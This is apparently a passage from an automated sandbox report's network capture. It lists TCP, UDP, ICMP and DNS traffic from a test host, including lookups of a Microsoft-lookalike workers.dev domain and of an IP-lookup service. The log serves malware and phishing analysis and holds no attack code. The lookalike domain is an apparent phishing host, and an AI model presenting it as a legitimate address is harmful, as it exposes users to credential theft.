Apr 24, 2024 01:33:58.863421917 CEST	443	49737	96.16.68.112	192.168.2.6
Apr 24, 2024 01:33:58.879825115 CEST	443	49739	104.26.13.205	192.168.2.6
Apr 24, 2024 01:33:58.880115986 CEST	49739	443	192.168.2.6	104.26.13.205
Apr 24, 2024 01:33:58.880163908 CEST	443	49739	104.26.13.205	192.168.2.6
Apr 24, 2024 01:33:58.881690025 CEST	443	49739	104.26.13.205	192.168.2.6
Apr 24, 2024 01:33:58.881764889 CEST	49739	443	192.168.2.6	104.26.13.205
Apr 24, 2024 01:33:58.882395029 CEST	49739	443	192.168.2.6	104.26.13.205
Apr 24, 2024 01:33:58.882488966 CEST	443	49739	104.26.13.205	192.168.2.6
Apr 24, 2024 01:33:58.882914066 CEST	49739	443	192.168.2.6	104.26.13.205
Apr 24, 2024 01:33:58.882931948 CEST	443	49739	104.26.13.205	192.168.2.6
Apr 24, 2024 01:33:58.903152943 CEST	49737	443	192.168.2.6	96.16.68.112
Apr 24, 2024 01:33:58.904763937 CEST	49737	443	192.168.2.6	96.16.68.112
Apr 24, 2024 01:33:58.934416056 CEST	49739	443	192.168.2.6	104.26.13.205
Apr 24, 2024 01:33:58.952114105 CEST	443	49737	96.16.68.112	192.168.2.6
Apr 24, 2024 01:33:59.034373045 CEST	443	49738	13.107.246.69	192.168.2.6
Apr 24, 2024 01:33:59.034691095 CEST	49738	443	192.168.2.6	13.107.246.69
Apr 24, 2024 01:33:59.034708977 CEST	443	49738	13.107.246.69	192.168.2.6
Apr 24, 2024 01:33:59.036212921 CEST	443	49738	13.107.246.69	192.168.2.6
Apr 24, 2024 01:33:59.036283016 CEST	49738	443	192.168.2.6	13.107.246.69
Apr 24, 2024 01:33:59.036811113 CEST	49738	443	192.168.2.6	13.107.246.69
Apr 24, 2024 01:33:59.036891937 CEST	443	49738	13.107.246.69	192.168.2.6
Apr 24, 2024 01:33:59.037162066 CEST	49738	443	192.168.2.6	13.107.246.69
Apr 24, 2024 01:33:59.037168980 CEST	443	49738	13.107.246.69	192.168.2.6
Apr 24, 2024 01:33:59.091670990 CEST	49738	443	192.168.2.6	13.107.246.69
Apr 24, 2024 01:33:59.199796915 CEST	443	49737	96.16.68.112	192.168.2.6
Apr 24, 2024 01:33:59.199887037 CEST	443	49737	96.16.68.112	192.168.2.6
Apr 24, 2024 01:33:59.199943066 CEST	49737	443	192.168.2.6	96.16.68.112
Apr 24, 2024 01:33:59.200129032 CEST	49737	443	192.168.2.6	96.16.68.112
Apr 24, 2024 01:33:59.200149059 CEST	443	49737	96.16.68.112	192.168.2.6
Apr 24, 2024 01:33:59.200159073 CEST	49737	443	192.168.2.6	96.16.68.112
Apr 24, 2024 01:33:59.200165033 CEST	443	49737	96.16.68.112	192.168.2.6
Apr 24, 2024 01:33:59.237175941 CEST	49742	443	192.168.2.6	96.16.68.112
Apr 24, 2024 01:33:59.237200975 CEST	443	49742	96.16.68.112	192.168.2.6
Apr 24, 2024 01:33:59.237273932 CEST	49742	443	192.168.2.6	96.16.68.112
Apr 24, 2024 01:33:59.237550974 CEST	49742	443	192.168.2.6	96.16.68.112
Apr 24, 2024 01:33:59.237564087 CEST	443	49742	96.16.68.112	192.168.2.6
Apr 24, 2024 01:33:59.328676939 CEST	443	49739	104.26.13.205	192.168.2.6
Apr 24, 2024 01:33:59.328756094 CEST	443	49739	104.26.13.205	192.168.2.6
Apr 24, 2024 01:33:59.328823090 CEST	49739	443	192.168.2.6	104.26.13.205
Apr 24, 2024 01:33:59.334383965 CEST	49739	443	192.168.2.6	104.26.13.205
Apr 24, 2024 01:33:59.334420919 CEST	443	49739	104.26.13.205	192.168.2.6
Apr 24, 2024 01:33:59.529527903 CEST	443	49738	13.107.246.69	192.168.2.6
Apr 24, 2024 01:33:59.529555082 CEST	443	49738	13.107.246.69	192.168.2.6
Apr 24, 2024 01:33:59.529562950 CEST	443	49738	13.107.246.69	192.168.2.6
Apr 24, 2024 01:33:59.529596090 CEST	443	49738	13.107.246.69	192.168.2.6
Apr 24, 2024 01:33:59.529609919 CEST	49738	443	192.168.2.6	13.107.246.69
Apr 24, 2024 01:33:59.529613018 CEST	443	49738	13.107.246.69	192.168.2.6
Apr 24, 2024 01:33:59.529623985 CEST	443	49738	13.107.246.69	192.168.2.6
Apr 24, 2024 01:33:59.529639959 CEST	443	49738	13.107.246.69	192.168.2.6
Apr 24, 2024 01:33:59.529653072 CEST	49738	443	192.168.2.6	13.107.246.69
Apr 24, 2024 01:33:59.529669046 CEST	49738	443	192.168.2.6	13.107.246.69
Apr 24, 2024 01:33:59.529697895 CEST	49738	443	192.168.2.6	13.107.246.69
Apr 24, 2024 01:33:59.529711008 CEST	443	49738	13.107.246.69	192.168.2.6
Apr 24, 2024 01:33:59.529723883 CEST	443	49738	13.107.246.69	192.168.2.6
Apr 24, 2024 01:33:59.529757023 CEST	49738	443	192.168.2.6	13.107.246.69
Apr 24, 2024 01:33:59.529781103 CEST	49738	443	192.168.2.6	13.107.246.69
Apr 24, 2024 01:33:59.561323881 CEST	49738	443	192.168.2.6	13.107.246.69
Apr 24, 2024 01:33:59.561353922 CEST	443	49738	13.107.246.69	192.168.2.6
Apr 24, 2024 01:33:59.585602045 CEST	443	49742	96.16.68.112	192.168.2.6
Apr 24, 2024 01:33:59.585691929 CEST	49742	443	192.168.2.6	96.16.68.112
Apr 24, 2024 01:33:59.591711044 CEST	49742	443	192.168.2.6	96.16.68.112
Apr 24, 2024 01:33:59.591737986 CEST	443	49742	96.16.68.112	192.168.2.6
Apr 24, 2024 01:33:59.592350960 CEST	443	49742	96.16.68.112	192.168.2.6
Apr 24, 2024 01:33:59.596323013 CEST	49742	443	192.168.2.6	96.16.68.112
Apr 24, 2024 01:33:59.640192032 CEST	443	49742	96.16.68.112	192.168.2.6
Apr 24, 2024 01:33:59.932755947 CEST	443	49742	96.16.68.112	192.168.2.6
Apr 24, 2024 01:33:59.932837963 CEST	443	49742	96.16.68.112	192.168.2.6
Apr 24, 2024 01:33:59.932888031 CEST	49742	443	192.168.2.6	96.16.68.112
Apr 24, 2024 01:33:59.952003002 CEST	49742	443	192.168.2.6	96.16.68.112
Apr 24, 2024 01:33:59.952027082 CEST	443	49742	96.16.68.112	192.168.2.6
Apr 24, 2024 01:34:05.053087950 CEST	49745	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:05.053133011 CEST	443	49745	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:05.053193092 CEST	49745	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:05.054788113 CEST	49745	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:05.054810047 CEST	443	49745	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:05.725423098 CEST	443	49745	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:05.725498915 CEST	49745	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:05.732157946 CEST	49745	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:05.732172966 CEST	443	49745	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:05.732455969 CEST	443	49745	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:05.737514019 CEST	49745	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:05.737660885 CEST	49745	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:05.737667084 CEST	443	49745	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:05.738209009 CEST	49745	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:05.780123949 CEST	443	49745	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:05.956852913 CEST	443	49745	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:05.957012892 CEST	443	49745	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:05.957088947 CEST	49745	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:05.957561970 CEST	49745	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:05.957588911 CEST	443	49745	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:07.951843023 CEST	443	49736	142.250.141.99	192.168.2.6
Apr 24, 2024 01:34:07.951915979 CEST	443	49736	142.250.141.99	192.168.2.6
Apr 24, 2024 01:34:07.951961994 CEST	49736	443	192.168.2.6	142.250.141.99
Apr 24, 2024 01:34:09.577034950 CEST	49706	443	192.168.2.6	173.222.162.64
Apr 24, 2024 01:34:09.577198982 CEST	49706	443	192.168.2.6	173.222.162.64
Apr 24, 2024 01:34:09.577846050 CEST	49748	443	192.168.2.6	173.222.162.64
Apr 24, 2024 01:34:09.577889919 CEST	443	49748	173.222.162.64	192.168.2.6
Apr 24, 2024 01:34:09.578006983 CEST	49748	443	192.168.2.6	173.222.162.64
Apr 24, 2024 01:34:09.578243971 CEST	49748	443	192.168.2.6	173.222.162.64
Apr 24, 2024 01:34:09.578259945 CEST	443	49748	173.222.162.64	192.168.2.6
Apr 24, 2024 01:34:09.617341042 CEST	49736	443	192.168.2.6	142.250.141.99
Apr 24, 2024 01:34:09.617367983 CEST	443	49736	142.250.141.99	192.168.2.6
Apr 24, 2024 01:34:09.736779928 CEST	443	49706	173.222.162.64	192.168.2.6
Apr 24, 2024 01:34:09.736800909 CEST	443	49706	173.222.162.64	192.168.2.6
Apr 24, 2024 01:34:09.812336922 CEST	443	49716	104.21.86.161	192.168.2.6
Apr 24, 2024 01:34:09.812572002 CEST	443	49716	104.21.86.161	192.168.2.6
Apr 24, 2024 01:34:09.812644005 CEST	49716	443	192.168.2.6	104.21.86.161
Apr 24, 2024 01:34:09.914088011 CEST	443	49748	173.222.162.64	192.168.2.6
Apr 24, 2024 01:34:09.914165020 CEST	49748	443	192.168.2.6	173.222.162.64
Apr 24, 2024 01:34:09.993557930 CEST	49748	443	192.168.2.6	173.222.162.64
Apr 24, 2024 01:34:09.993592024 CEST	443	49748	173.222.162.64	192.168.2.6
Apr 24, 2024 01:34:09.994038105 CEST	443	49748	173.222.162.64	192.168.2.6
Apr 24, 2024 01:34:09.994111061 CEST	49748	443	192.168.2.6	173.222.162.64
Apr 24, 2024 01:34:09.994891882 CEST	49748	443	192.168.2.6	173.222.162.64
Apr 24, 2024 01:34:09.994921923 CEST	443	49748	173.222.162.64	192.168.2.6
Apr 24, 2024 01:34:09.995304108 CEST	49748	443	192.168.2.6	173.222.162.64
Apr 24, 2024 01:34:10.040138006 CEST	443	49748	173.222.162.64	192.168.2.6
Apr 24, 2024 01:34:10.314816952 CEST	443	49748	173.222.162.64	192.168.2.6
Apr 24, 2024 01:34:10.314905882 CEST	49748	443	192.168.2.6	173.222.162.64
Apr 24, 2024 01:34:10.315382957 CEST	443	49748	173.222.162.64	192.168.2.6
Apr 24, 2024 01:34:10.315448999 CEST	443	49748	173.222.162.64	192.168.2.6
Apr 24, 2024 01:34:10.315500975 CEST	49748	443	192.168.2.6	173.222.162.64
Apr 24, 2024 01:34:11.405534983 CEST	49716	443	192.168.2.6	104.21.86.161
Apr 24, 2024 01:34:11.405574083 CEST	443	49716	104.21.86.161	192.168.2.6
Apr 24, 2024 01:34:18.053725004 CEST	49750	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:18.053822041 CEST	443	49750	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:18.053910971 CEST	49750	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:18.055408955 CEST	49750	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:18.055448055 CEST	443	49750	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:18.719583035 CEST	443	49750	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:18.719691038 CEST	49750	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:18.724935055 CEST	49750	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:18.724961996 CEST	443	49750	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:18.725358963 CEST	443	49750	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:18.727430105 CEST	49750	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:18.727430105 CEST	49750	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:18.727463007 CEST	443	49750	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:18.727624893 CEST	49750	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:18.768119097 CEST	443	49750	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:18.943746090 CEST	443	49750	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:18.943865061 CEST	443	49750	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:18.943932056 CEST	49750	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:18.944215059 CEST	49750	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:18.944237947 CEST	443	49750	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:39.117789030 CEST	49751	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:39.117893934 CEST	443	49751	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:39.118026018 CEST	49751	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:39.119398117 CEST	49751	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:39.119426966 CEST	443	49751	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:39.791484118 CEST	443	49751	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:39.791790009 CEST	49751	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:39.793606043 CEST	49751	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:39.793621063 CEST	443	49751	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:39.793924093 CEST	443	49751	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:39.796391964 CEST	49751	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:39.796391964 CEST	49751	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:39.796417952 CEST	443	49751	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:39.796612978 CEST	49751	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:39.840121031 CEST	443	49751	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:40.015094995 CEST	443	49751	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:40.015182972 CEST	443	49751	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:40.015602112 CEST	49751	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:40.018907070 CEST	49751	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:34:40.018934965 CEST	443	49751	20.7.1.246	192.168.2.6
Apr 24, 2024 01:34:57.063007116 CEST	49754	443	192.168.2.6	142.250.141.99
Apr 24, 2024 01:34:57.063069105 CEST	443	49754	142.250.141.99	192.168.2.6
Apr 24, 2024 01:34:57.063149929 CEST	49754	443	192.168.2.6	142.250.141.99
Apr 24, 2024 01:34:57.063766956 CEST	49754	443	192.168.2.6	142.250.141.99
Apr 24, 2024 01:34:57.063803911 CEST	443	49754	142.250.141.99	192.168.2.6
Apr 24, 2024 01:34:57.420736074 CEST	443	49754	142.250.141.99	192.168.2.6
Apr 24, 2024 01:34:57.423094034 CEST	49754	443	192.168.2.6	142.250.141.99
Apr 24, 2024 01:34:57.423124075 CEST	443	49754	142.250.141.99	192.168.2.6
Apr 24, 2024 01:34:57.423825979 CEST	443	49754	142.250.141.99	192.168.2.6
Apr 24, 2024 01:34:57.426722050 CEST	49754	443	192.168.2.6	142.250.141.99
Apr 24, 2024 01:34:57.426908016 CEST	443	49754	142.250.141.99	192.168.2.6
Apr 24, 2024 01:34:57.482772112 CEST	49754	443	192.168.2.6	142.250.141.99
Apr 24, 2024 01:35:07.418945074 CEST	443	49754	142.250.141.99	192.168.2.6
Apr 24, 2024 01:35:07.419089079 CEST	443	49754	142.250.141.99	192.168.2.6
Apr 24, 2024 01:35:07.419152975 CEST	49754	443	192.168.2.6	142.250.141.99
Apr 24, 2024 01:35:07.522979975 CEST	49754	443	192.168.2.6	142.250.141.99
Apr 24, 2024 01:35:07.523052931 CEST	443	49754	142.250.141.99	192.168.2.6
Apr 24, 2024 01:35:09.399375916 CEST	49755	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:35:09.399435043 CEST	443	49755	20.7.1.246	192.168.2.6
Apr 24, 2024 01:35:09.399496078 CEST	49755	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:35:09.403143883 CEST	49755	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:35:09.403156996 CEST	443	49755	20.7.1.246	192.168.2.6
Apr 24, 2024 01:35:10.068664074 CEST	443	49755	20.7.1.246	192.168.2.6
Apr 24, 2024 01:35:10.069044113 CEST	49755	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:35:10.072803974 CEST	49755	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:35:10.072817087 CEST	443	49755	20.7.1.246	192.168.2.6
Apr 24, 2024 01:35:10.073152065 CEST	443	49755	20.7.1.246	192.168.2.6
Apr 24, 2024 01:35:10.075103998 CEST	49755	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:35:10.075303078 CEST	49755	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:35:10.075308084 CEST	443	49755	20.7.1.246	192.168.2.6
Apr 24, 2024 01:35:10.075356960 CEST	49755	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:35:10.116122961 CEST	443	49755	20.7.1.246	192.168.2.6
Apr 24, 2024 01:35:10.294485092 CEST	443	49755	20.7.1.246	192.168.2.6
Apr 24, 2024 01:35:10.294769049 CEST	443	49755	20.7.1.246	192.168.2.6
Apr 24, 2024 01:35:10.294847965 CEST	49755	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:35:10.295185089 CEST	49755	443	192.168.2.6	20.7.1.246
Apr 24, 2024 01:35:10.295213938 CEST	443	49755	20.7.1.246	192.168.2.6
Apr 24, 2024 01:35:10.297255993 CEST	49755	443	192.168.2.6	20.7.1.246

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 01:33:53.186574936 CEST	53	50707	1.1.1.1	192.168.2.6
Apr 24, 2024 01:33:53.188155890 CEST	53	62389	1.1.1.1	192.168.2.6
Apr 24, 2024 01:33:54.164230108 CEST	53	51272	1.1.1.1	192.168.2.6
Apr 24, 2024 01:33:54.320719004 CEST	65492	53	192.168.2.6	1.1.1.1
Apr 24, 2024 01:33:54.321700096 CEST	52355	53	192.168.2.6	1.1.1.1
Apr 24, 2024 01:33:54.487149954 CEST	53	65492	1.1.1.1	192.168.2.6
Apr 24, 2024 01:33:54.487823963 CEST	53	52355	1.1.1.1	192.168.2.6
Apr 24, 2024 01:33:55.368235111 CEST	58056	53	192.168.2.6	1.1.1.1
Apr 24, 2024 01:33:55.368458033 CEST	57731	53	192.168.2.6	1.1.1.1
Apr 24, 2024 01:33:55.370615005 CEST	57113	53	192.168.2.6	1.1.1.1
Apr 24, 2024 01:33:55.370893002 CEST	59906	53	192.168.2.6	1.1.1.1
Apr 24, 2024 01:33:55.371818066 CEST	54516	53	192.168.2.6	1.1.1.1
Apr 24, 2024 01:33:55.372320890 CEST	61410	53	192.168.2.6	1.1.1.1
Apr 24, 2024 01:33:55.372900963 CEST	53526	53	192.168.2.6	1.1.1.1
Apr 24, 2024 01:33:55.373037100 CEST	51331	53	192.168.2.6	1.1.1.1
Apr 24, 2024 01:33:55.519016981 CEST	53	65133	1.1.1.1	192.168.2.6
Apr 24, 2024 01:33:55.522218943 CEST	53	57731	1.1.1.1	192.168.2.6
Apr 24, 2024 01:33:55.522344112 CEST	53	58056	1.1.1.1	192.168.2.6
Apr 24, 2024 01:33:55.524063110 CEST	53	57113	1.1.1.1	192.168.2.6
Apr 24, 2024 01:33:55.524390936 CEST	53	59906	1.1.1.1	192.168.2.6
Apr 24, 2024 01:33:55.525294065 CEST	53	61410	1.1.1.1	192.168.2.6
Apr 24, 2024 01:33:55.525612116 CEST	53	51582	1.1.1.1	192.168.2.6
Apr 24, 2024 01:33:55.526300907 CEST	53	53526	1.1.1.1	192.168.2.6
Apr 24, 2024 01:33:55.529532909 CEST	53	51331	1.1.1.1	192.168.2.6
Apr 24, 2024 01:33:56.429162979 CEST	53	56669	1.1.1.1	192.168.2.6
Apr 24, 2024 01:33:57.000108004 CEST	53773	53	192.168.2.6	1.1.1.1
Apr 24, 2024 01:33:57.000962019 CEST	64832	53	192.168.2.6	1.1.1.1
Apr 24, 2024 01:33:57.106988907 CEST	51965	53	192.168.2.6	1.1.1.1
Apr 24, 2024 01:33:57.107137918 CEST	59128	53	192.168.2.6	1.1.1.1
Apr 24, 2024 01:33:57.107906103 CEST	54599	53	192.168.2.6	1.1.1.1
Apr 24, 2024 01:33:57.108381033 CEST	53760	53	192.168.2.6	1.1.1.1
Apr 24, 2024 01:33:57.153575897 CEST	53	53773	1.1.1.1	192.168.2.6
Apr 24, 2024 01:33:57.154128075 CEST	53	64832	1.1.1.1	192.168.2.6
Apr 24, 2024 01:33:57.260958910 CEST	53	54599	1.1.1.1	192.168.2.6
Apr 24, 2024 01:33:57.262295008 CEST	53	51674	1.1.1.1	192.168.2.6
Apr 24, 2024 01:33:57.262835979 CEST	53	53760	1.1.1.1	192.168.2.6
Apr 24, 2024 01:33:58.369462013 CEST	64021	53	192.168.2.6	1.1.1.1
Apr 24, 2024 01:33:58.369975090 CEST	64600	53	192.168.2.6	1.1.1.1
Apr 24, 2024 01:33:58.372390032 CEST	50533	53	192.168.2.6	1.1.1.1
Apr 24, 2024 01:33:58.372785091 CEST	49533	53	192.168.2.6	1.1.1.1
Apr 24, 2024 01:33:58.526798964 CEST	53	50533	1.1.1.1	192.168.2.6
Apr 24, 2024 01:33:58.527304888 CEST	53	49533	1.1.1.1	192.168.2.6
Apr 24, 2024 01:34:11.715543985 CEST	53	63897	1.1.1.1	192.168.2.6
Apr 24, 2024 01:34:30.636496067 CEST	53	54635	1.1.1.1	192.168.2.6
Apr 24, 2024 01:34:53.228405952 CEST	53	49951	1.1.1.1	192.168.2.6
Apr 24, 2024 01:34:53.276544094 CEST	53	62917	1.1.1.1	192.168.2.6

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Apr 24, 2024 01:33:53.186671019 CEST	192.168.2.6	1.1.1.1	c22e	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 24, 2024 01:33:54.320719004 CEST	192.168.2.6	1.1.1.1	0x3a7f	Standard query (0)	wmicrosouab-4ba8.udydzj.workers.dev	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:54.321700096 CEST	192.168.2.6	1.1.1.1	0xeeb7	Standard query (0)	wmicrosouab-4ba8.udydzj.workers.dev	65	IN (0x0001)	false
Apr 24, 2024 01:33:55.368235111 CEST	192.168.2.6	1.1.1.1	0x9557	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:55.368458033 CEST	192.168.2.6	1.1.1.1	0xe2d2	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Apr 24, 2024 01:33:55.370615005 CEST	192.168.2.6	1.1.1.1	0x9c6b	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:55.370893002 CEST	192.168.2.6	1.1.1.1	0xf5f0	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Apr 24, 2024 01:33:55.371818066 CEST	192.168.2.6	1.1.1.1	0x4a50	Standard query (0)	kit.fontawesome.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:55.372320890 CEST	192.168.2.6	1.1.1.1	0x7207	Standard query (0)	kit.fontawesome.com	65	IN (0x0001)	false
Apr 24, 2024 01:33:55.372900963 CEST	192.168.2.6	1.1.1.1	0x4a1c	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:55.373037100 CEST	192.168.2.6	1.1.1.1	0x4acc	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Apr 24, 2024 01:33:57.000108004 CEST	192.168.2.6	1.1.1.1	0xe9c5	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:57.000962019 CEST	192.168.2.6	1.1.1.1	0xbbcf	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 24, 2024 01:33:57.106988907 CEST	192.168.2.6	1.1.1.1	0x7f89	Standard query (0)	ka-f.fontawesome.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:57.107137918 CEST	192.168.2.6	1.1.1.1	0x72e	Standard query (0)	ka-f.fontawesome.com	65	IN (0x0001)	false
Apr 24, 2024 01:33:57.107906103 CEST	192.168.2.6	1.1.1.1	0x36b4	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:57.108381033 CEST	192.168.2.6	1.1.1.1	0xeebe	Standard query (0)	api.ipify.org	65	IN (0x0001)	false
Apr 24, 2024 01:33:58.369462013 CEST	192.168.2.6	1.1.1.1	0x45a9	Standard query (0)	ka-f.fontawesome.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:58.369975090 CEST	192.168.2.6	1.1.1.1	0x2407	Standard query (0)	ka-f.fontawesome.com	65	IN (0x0001)	false
Apr 24, 2024 01:33:58.372390032 CEST	192.168.2.6	1.1.1.1	0xf179	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:58.372785091 CEST	192.168.2.6	1.1.1.1	0x2d73	Standard query (0)	api.ipify.org	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 24, 2024 01:33:54.487149954 CEST	1.1.1.1	192.168.2.6	0x3a7f	No error (0)	wmicrosouab-4ba8.udydzj.workers.dev		104.21.86.161	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:54.487149954 CEST	1.1.1.1	192.168.2.6	0x3a7f	No error (0)	wmicrosouab-4ba8.udydzj.workers.dev		172.67.221.189	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:54.487823963 CEST	1.1.1.1	192.168.2.6	0xeeb7	No error (0)	wmicrosouab-4ba8.udydzj.workers.dev			65	IN (0x0001)	false
Apr 24, 2024 01:33:55.522344112 CEST	1.1.1.1	192.168.2.6	0x9557	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:55.522344112 CEST	1.1.1.1	192.168.2.6	0x9557	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:55.522344112 CEST	1.1.1.1	192.168.2.6	0x9557	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:55.522344112 CEST	1.1.1.1	192.168.2.6	0x9557	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:55.524063110 CEST	1.1.1.1	192.168.2.6	0x9c6b	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:55.524063110 CEST	1.1.1.1	192.168.2.6	0x9c6b	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:55.524390936 CEST	1.1.1.1	192.168.2.6	0xf5f0	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Apr 24, 2024 01:33:55.525294065 CEST	1.1.1.1	192.168.2.6	0x7207	No error (0)	kit.fontawesome.com	kit.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 01:33:55.525477886 CEST	1.1.1.1	192.168.2.6	0x4a50	No error (0)	kit.fontawesome.com	kit.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 01:33:55.526300907 CEST	1.1.1.1	192.168.2.6	0x4a1c	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:55.526300907 CEST	1.1.1.1	192.168.2.6	0x4a1c	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:55.529532909 CEST	1.1.1.1	192.168.2.6	0x4acc	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Apr 24, 2024 01:33:56.846107006 CEST	1.1.1.1	192.168.2.6	0x6c9a	No error (0)	shed.dual-low.part-0041.t-0009.t-msedge.net	part-0041.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 01:33:56.846107006 CEST	1.1.1.1	192.168.2.6	0x6c9a	No error (0)	part-0041.t-0009.t-msedge.net		13.107.213.69	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:56.846107006 CEST	1.1.1.1	192.168.2.6	0x6c9a	No error (0)	part-0041.t-0009.t-msedge.net		13.107.246.69	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:57.153575897 CEST	1.1.1.1	192.168.2.6	0xe9c5	No error (0)	www.google.com		142.250.141.99	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:57.153575897 CEST	1.1.1.1	192.168.2.6	0xe9c5	No error (0)	www.google.com		142.250.141.105	A (IP address)	IN (0x0001)	false
